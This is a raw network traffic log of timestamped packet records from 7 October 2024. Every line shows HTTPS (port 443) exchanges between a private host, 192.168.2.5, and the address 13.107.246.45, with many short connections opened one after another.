Oct 7, 2024 06:44:41.423054934 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.470464945 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.470594883 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.470660925 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.470740080 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.470766068 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.470792055 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.470804930 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.473252058 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.473290920 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.473362923 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.473495007 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.473505974 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.498899937 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.499313116 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.499342918 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.499737978 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.499744892 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.521897078 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.521961927 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.522027016 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.522226095 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.522238970 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.522248030 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.522258043 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.525043011 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.525073051 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.525168896 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.525326967 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.525343895 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.600157976 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.600320101 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.600419998 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.600641966 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.600662947 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.600677013 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.600683928 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.603324890 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.603387117 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.603473902 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.603600979 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.603615046 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.636626005 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.637073040 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.637110949 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.637521029 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.637527943 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.736351013 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.736511946 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.736578941 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.736721992 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.736747026 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.736757994 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.736763954 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.739811897 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.739865065 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.739957094 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.740125895 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.740139961 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.830259085 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.835875988 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.835912943 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.836335897 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.836342096 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.937012911 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.937179089 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.937252045 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.937376022 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.937391043 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.937397957 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.937402964 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.941514969 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.941565037 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:41.941641092 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.941742897 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:41.941755056 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.143759012 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.144315004 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.144347906 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.144728899 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.144736052 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.170217037 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.170597076 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.170619011 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.170947075 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.170953989 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.246088028 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.246243954 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.246315002 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.246490002 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.246510983 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.246526003 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.246534109 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.249128103 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.249155045 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.249435902 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.249634027 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.249646902 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.256442070 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.256920099 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.256963968 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.257376909 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.257384062 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.271228075 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.271852016 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.271953106 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.271953106 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.271981955 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.271994114 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.274657011 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.274782896 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.274872065 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.275008917 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.275043964 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.356822968 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.356868029 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.356929064 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.356929064 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.356997013 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.357242107 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.357290983 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.357306004 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.357312918 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.360167027 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.360269070 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.360387087 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.361025095 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.361063957 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.401802063 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.420965910 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.420988083 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.421493053 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.421497107 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.520195007 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.520354033 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.520414114 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.520487070 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.520509958 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.520520926 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.520526886 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.523490906 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.523531914 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.523591042 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.523783922 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.523796082 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.580210924 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.580758095 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.580775976 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.581403971 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.581410885 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.680000067 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.680295944 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.680360079 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.680429935 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.680450916 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.680469990 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.680478096 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.683177948 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.683240891 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.683320999 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.683451891 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.683463097 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.907634020 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.908210039 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.908236980 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.908682108 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.908687115 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.917609930 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.917947054 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.917963028 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:42.918289900 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:42.918298006 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.006535053 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.006557941 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.006613970 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.006659031 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.006697893 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.006937027 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.006952047 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.006964922 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.006970882 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.009974957 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.009999990 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.010087013 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.010258913 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.010270119 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.017349958 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.017544031 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.017599106 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.017632961 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.017646074 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.017657995 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.017663956 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.019969940 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.019978046 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.020052910 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.020221949 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.020230055 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.035792112 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.036223888 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.036238909 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.036670923 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.036678076 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.139914036 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.140053988 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.140180111 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.140197039 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.140244007 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.140501976 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.140531063 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.140543938 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.140552044 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.143767118 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.143816948 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.143912077 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.144088030 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.144103050 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.165213108 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.165678978 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.165693998 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.166142941 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.166146994 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.265903950 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.265995979 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.266047001 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.266071081 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.266103029 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.266155005 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.266356945 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.266356945 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.266371965 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.266380072 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.269397974 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.269434929 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.269496918 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.269704103 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.269711018 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.319619894 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.320288897 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.320379972 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.320916891 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.320931911 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.418268919 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.418337107 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.418387890 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.418993950 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.419020891 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.419045925 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.419051886 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.423404932 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.423449039 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.423515081 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.436095953 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.436108112 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.670948029 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.673695087 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.673722982 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.674164057 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.674170017 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.681222916 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.682876110 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.682887077 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.683247089 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.683252096 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.774410009 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.774442911 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.774493933 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.774617910 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.775877953 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.776062965 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.776070118 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.776082039 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.776086092 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.778868914 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.778889894 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.778958082 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.779249907 CEST	49886	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.779263020 CEST	443	49886	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.784287930 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.784439087 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.784507036 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.784646988 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.784651995 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.784662962 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.784666061 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.785969973 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.786818981 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.786856890 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.787147999 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.787169933 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.787182093 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.787261963 CEST	49887	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.787271023 CEST	443	49887	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.787664890 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.787678957 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.884347916 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.884407997 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.884541035 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.884546995 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.884605885 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.884773016 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.884773016 CEST	49883	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.884813070 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.884836912 CEST	443	49883	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.887269974 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.887310982 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.887398958 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.887522936 CEST	49888	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.887531042 CEST	443	49888	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.908627987 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.911587954 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.911628962 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:43.912074089 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:43.912084103 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.008302927 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.008359909 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.008408070 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.008491039 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.008517981 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.008768082 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.008768082 CEST	49884	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.008788109 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.008797884 CEST	443	49884	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.011442900 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.011491060 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.011583090 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.011740923 CEST	49889	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.011758089 CEST	443	49889	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.069425106 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.071605921 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.071645021 CEST	443	49885	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:44.072084904 CEST	49885	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:44.072093964 CEST	443	49885	13.107.246.45	192.168.2.5
